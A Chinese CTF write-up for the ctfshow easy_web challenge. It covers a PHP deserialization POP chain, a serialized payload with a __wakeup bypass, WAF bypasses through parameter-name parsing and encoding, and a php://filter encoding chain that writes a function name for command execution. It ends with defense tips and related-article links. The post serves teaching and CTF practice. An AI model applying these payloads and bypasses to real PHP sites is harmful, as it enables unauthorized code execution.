手把手复现ctfshow easy_web:POP链构造、WAF绕过与filter写shell的完整实战

CTFPHP安全反序列化漏洞WAF绕过
于 2026-05-31 12:02:42 修改
·本内容遵循CC 4.0 BY-SA版权协议

CTF实战:PHP反序列化漏洞与Filter协议的高级利用技巧

在网络安全竞赛和渗透测试中,PHP反序列化漏洞一直是高频考点。本文将从一个典型CTF题目入手,深入剖析POP链构造、WAF绕过技巧以及filter协议的高级利用方法,帮助开发者建立系统化的漏洞利用思维。

1. 环境准备与漏洞分析

首先我们需要搭建本地测试环境,建议使用Docker快速部署PHP 7.x环境。关键是要确保具备以下条件:

  • PHP版本5.6-7.4(反序列化特性最丰富的版本段)
  • 开启error_reporting(E_ALL)方便调试
  • 准备Burp Suite或Postman用于请求构造

分析题目源码,我们可以识别出三个关键类:

PHP
class ctf {
public $h1;
public $h2;
public function __destruct() {
$this->h1->nonono($this->h2);
}
}
 
class show {
public function __call($name, $args) {
if(preg_match('/ctf/i',$args[0][0][2])) {
echo "gogogo";
}
}
}
 
class Chu0_write {
public $chu0;
public $chu1;
public function __toString() {
if ($this->chu0===$this->chu1) {
$content='ctfshowshowshowwww'.$_GET['chu0'];
file_put_contents($_GET['name'].".txt",$content);
}
return "Go on";
}
}

漏洞触发点分析

  1. 反序列化入口:unserialize($_GET['show_show.show'])
  2. 执行链路:__destruct__call__toString
  3. 最终利用:file_put_contents配合filter协议写入恶意代码

2. POP链构造与序列化技巧

POP(Property-Oriented Programming)链是通过控制对象属性实现的调用链。本题的构造逻辑如下:

TEXT
ctf::__destruct()
→ show::__call()
→ Chu0_write::__toString()

具体实现代码:

PHP
$a = new ctf();
$a->h1 = new show();
$a->h2 = [[2 => new Chu0_write()]];
 
echo urlencode(serialize($a));

关键注意事项

  • __wakeup绕过:通过增加对象属性数量(如O:3:"ctf":3而非实际的2)
  • 数组结构设计:__call$args参数需要三层嵌套数组
  • 属性初始化:确保chu0chu1相等以触发__toString

序列化后的Payload示例:

TEXT
O:3:"ctf":3:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}

3. 多层WAF绕过实战

题目设置了多重防御机制,需要逐层突破:

3.1 WAF1:字母字符检测

规则preg_match('/[a-z]/i', $value)

绕过方法

  • 利用$_REQUEST参数优先级:POST > GET
  • 通过POST传递参数值,GET保持URL编码形式
TEXT
POST数据:
show[show.show=1&name=1&chu0=1&cmd=1

3.2 WAF2:关键词过滤

规则preg_match('/show/i', $_SERVER['QUERY_STRING'])

绕过技巧

  • URL全编码参数名:show_show.show%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77
  • 使用参数解析特性:show_show.showshow[show.show

3.3 正则校验

规则preg_match('/^[Oa]:[\d]/i', $_GET['show_show.show'])

解决方案

  • 严格遵循序列化格式:O:3:"ctf":2:{...}
  • 避免使用数组形式(a:开头)的序列化数据

4. Filter协议的高级文件写入

当常规文件写入受限时,php://filter协议提供了编码转换的可能性。本题需要实现:

  1. 清空原始内容(ctfshowshowshowwww)
  2. 写入可执行函数名(如system)
  3. 确保最终文件内容符合PHP语法

分步实现方案

PHP
// 1. 准备待写入的函数名
$func = 'system';
$base64 = base64_encode($func); // 'c3lzdGVt'
 
// 2. 转换为UTF-16编码
$utf16 = iconv('UTF-8', 'UTF-16LE', $base64);
 
// 3. 进行quoted-printable编码
$payload = quoted_printable_encode($utf16);

对应的filter链构造:

TEXT
php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw

编码转换原理

处理阶段 操作 内容变化
原始输入 - ctfshowshowshowwww
quoted-printable-decode 解码 去除=符号和换行
iconv.utf-16.utf-8 编码转换 产生乱码字符
base64-decode 解码 过滤非base64字符

最终通过eval执行写入的函数:

TEXT
?cmd=env

5. 防御建议与安全实践

针对此类漏洞,开发者应采取多层次防护:

  1. 输入验证

    • 使用json_decode()替代unserialize()
    • 设置allowed_classes白名单
  2. WAF强化

    PHP
    function advanced_waf($input) {
    if (preg_match('/^[Oa]:\d+:/', $input)) {
    return false;
    }
    return true;
    }
  3. 运行时防护

    • 禁用危险协议:ini_set('allow_url_fopen', '0')
    • 限制文件操作目录:open_basedir
  4. 编码规范

    • 避免魔法方法中的敏感操作
    • __toString等做严格类型检查

在实际开发中,建议使用静态分析工具如PHPStan定期扫描代码,并结合单元测试验证反序列化安全性。

WebCTFSHOW元旦水友赛部分wp_ctfshow元旦水友赛wp
博客分享了CTFSHOW元旦水友赛easy_web题解,包括利用file://协议、构造pop链实现RCE、绕过waf等。还介绍了黑客零基础入门和网络安全工程师企业级学习路线,涵盖网络安全理论、渗透测试、编程等知识,提供学习资料获取方式。
2401_84281629
1136
WebCTFSHOW元旦水友赛部分wp
文章讲述了作者在一场跨年活动中解决web安全挑战的过程,包括利用file://协议绕过字符限制、构造pop链实现RCE、编码技巧绕过WAF,并利用序列化绕过PHP类的安全机制获取shell
Z3r4y
4835
ctfshow元旦水友赛 easy_web
博客记录了一道对php://filter伪协议考察较深的题目解题过程。包含预期解和非预期解,预期解需构建POP链绕过多个WAF和正则,利用php://filter伪协议及过滤器实现写入数据恢复执行以获取flag;非预期解是直接扫后台访问phpinfo.php搜索flag。
来君悦(xiaolaisec)
2729
ctfshow元旦水友赛 easy_web:POP链构造到php://filter编码转换的深度利用
本文详解CTF中POP链构造、三层WAF绕过及php://filter协议的多重编码转换利用技巧。重点剖析通过iconv、quoted-printablebase64解码组合实现文件内容清空恶意函数名注入的底层原理,涵盖序列化属性数量篡改、POST/GET参数优先级利用、方括号语法绕过、编码链逆向设计等关键技术点,并提供调试方法纵深防御建议。
Surenon
301
WebCTFSHOW元旦水友赛漏洞解析从PHP反序列化到RCE实战
本文深入剖析CTFSHOW元旦赛easy_web题,围绕PHP反序列化漏洞展开,重点讲解POP链构造WAF绕过技巧(如参数名混淆多重编码)、完整RCE利用流程,并提出多维防御方案,包括输入过滤、签名验证、白名单类限制及日志监控,强调反序列化风险防控的重要性。
兴盛优选
1035
ctfshow2024元旦杯web
文章讲述了在PHPweb安全挑战中,如何利用pear文件包含和session包含绕过WAF,通过PHP伪协议读取文件,以及在反序列化题目中进行绕过构造pop链的方法。同时涉及了审计源码和登录系统的安全问题。
N1_WEB
2697
ctfshow元旦水友赛 easy_web(进一步解释)
本文详细解读了一段PHP代码,介绍了如何通过构造pop链绕过waf函数检测(waf1waf2)、利用正则表达式和编码技巧(如base64和quoted-printable)来创建有效payload,避开安全限制。作者还分享了如何在实际场景中构建和使用这些技巧。
高等灵长类
1542
BUUCTF_[RoarCTF 2019]Easy Calc(RCE/waf绕过/PHP字符串解析特性/代码审计)
本文围绕BUUCTF [RoarCTF 2019]Easy Calc题目展开。提到需进行WAF绕过,介绍了WAF防范常见攻击的功能。对PHP代码审计,指出存在错误报告设置、参数检查等。还阐述了RCE漏洞及触发方式,最后给出做题步骤,包括利用PHP字符串解析特性绕过WAF构造命令查看文件。
莫名有雪
1022
网络安全最新【WebCTFSHOW元旦水友赛部分wp_ctfshow元旦水友赛wp(1),2024年最新面试阿里巴巴
博客介绍了网络安全学习资源,包括成长路线图、视频合集、学习书籍、源码合集工具包及面试题。还分享了CTFSHOW元旦水友赛部分赛题绕过思路,如waf1用urlencode绕过waf2用base64 - encode等方法绕过,最后给出了构造的序列化和最终payload。
2401_84297035
716
【CTF】ctfshow——web
本文详细介绍CTFshow平台Web关卡的解题过程,包括签到题、SQL注入、文件包含等多种类型的安全挑战,提供了具体的解题思路和技术实现。
吃_早餐
4798
终极指南如何利用reNgine扫描数据实现高效WAF绕过策略
本文聚焦于利用reNgine自动化侦察框架实现Web应用防火墙(WAF绕过。涵盖其内置WAF检测能力(基于wafw00f)、扫描数据对WAF特征识别的支持、规避配置方法(definitions.py),以及结合子域名、端点、参数和HTTP行为等侦察数据开展的实战绕过技巧,如路径混淆、参数污染、请求方法变异频率控制,形成可落地的高效绕过工作流。
宁雨澄Alina
877
NSSCTF-WEB-easy_eval
本文分析NSSCTF中一道名为easy_eval的WEB题目,尽管标为简单,实则涉及PHP反序列化、pop链构造、Redis未授权访问及模块加载RCE等复杂技术。通过蚁剑插件绕过disable_functions限制,结合Redis 5.x模块机制实现远程代码执行,最终获取flag。
MQ4
1635
RoarCTF2019 [MISC黄金6年][Web:Easy Calc]总结与复现
本文回顾了解RoarCTF线上赛题的经历,详细解析了MISC题“黄金6年”的解题过程,涉及Base64解码、WinHex分析、rar压缩包处理及二维码识别,最终获取flag。同时,探讨了Web题“EasyCalc”的解决方案,介绍了http走私漏洞的原理及其在绕过WAF中的应用。
Qwzf
3225
利用PHP的字符串解析特性绕过Waf
本文深入探讨PHP如何解析查询字符串,包括删除空白符和特定字符转换为下划线的过程。通过实例展示了如何利用这些特性绕过WAF及IPS的安全规则,实现非法字符的上传和特殊操作。
zhang三
4927
2025.2.7——一、[RoarCTF 2019]Easy Calc 代码审计|WAF|PHP字符串解析特性
本文围绕[RoarCTF 2019]Easy Calc题目展开,先打开靶机整理信息,发现需代码审计。经分析calc.php代码,了解对num参数的检查机制。介绍了WAFWeb应用防火墙,还解释代码含义。目标是绕过正则和WAF,利用PHP字符串解析特性构造payload,最终得到flag信息。
然然阿然然
1063
由Roarctf Easy Calc引起对http走私和分块传输绕过waf的思考
本文深入探讨了HTTP走私的概念及其在绕过分段传输编码(ChunkedEncoding)WAF中的应用,详细解释了Content-Length和Transfer-Encoding如何被恶意利用,以及在实际CTF竞赛场景中如何实施攻击。
TUANZI_Dum
677
解密长城杯easy_extensionPHP扩展开发无字母数字RCE绕过技巧
本文深入剖析长城杯CTF题easy_extension,聚焦PHP扩展开发中的安全风险及无字母数字RCE绕过技术。核心涵盖Zephir编译型扩展的逆向分析、异或运算构造免杀Payload、WAF黑名单绕过原理、open_basedir限制突破,并延伸至PHP 7+兼容性、类型转换位运算组合技巧。同时提出面向扩展开发的安全编码、多层WAF设计及运行时防护等防御体系。
415
_元旦水友赛
本文详细解析CTFshow元旦水友赛中的两道主要题目:easy_include和easy_web。通过session包含、WAF绕过POP链构造及参数传递等技术手段,完成对题目的成功破解。文章还提到非预期解法如phpinfo.php的利用,强调目录扫描和信息收集的重要性。
rufeii_
566
BUUCTF WEB [RoarCTF 2019]Easy Calc
本文详细解析了RoarCTF2019中EasyCalc挑战的解题思路,通过利用PHP的字符串解析特性和HTTP走私攻击,成功绕过WAF并获取flag。
A_dmins
5304